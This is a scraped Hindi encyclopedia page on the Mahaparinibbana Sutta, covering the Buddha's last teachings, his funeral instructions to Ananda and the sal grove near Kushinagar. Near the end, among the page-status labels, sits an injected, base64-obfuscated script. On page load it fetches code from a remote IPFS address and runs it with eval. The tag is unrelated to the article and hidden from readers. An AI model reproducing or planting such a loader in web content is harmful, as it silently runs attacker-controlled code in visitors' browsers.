महापरिनिब्बानसुत्त

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

महापरिनिब्बानसुत्त बौद्ध धर्म से सम्बंधित 'दीघनिकाय' का एक सुत्त, जिसमें महात्मा बुद्ध के जीवन के आख़िरी जीवन, अन्तिम उपदेशों, मृत्यु तथा अन्त्येष्टि का वर्णन किया गया है।

  • महापरिनिब्बानसुत्त में कथन है कि जब बुद्ध के शिष्यों ने उनसे पूछा कि निर्वाण के पश्चात् उनके शरीर का कैसा सत्कार किया जाय, तब इसके उत्तर में बुद्ध ने कहा- "हे आनंद, जिस प्रकार चक्रवर्ती राजा के शरीर को वस्त्र से खूब वेष्टित करके तैल की द्रोणी में रखकर चितक बनाकर शरीर को झांप देते हैं, और चतुर्महा पथ पर स्तूप बनाते हैं, इसी प्रकार मेरे शरीर की भी सत्पूजा की जाय"।
  • इस सुत्त के वर्णन के अनुसार गौतम बुद्ध के समय में 'कुसीनारा' या 'कुशीनगर' के निकट मल्लों का शालवन हिरण्यवती नदी (गंडक) के तट पर स्थित था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख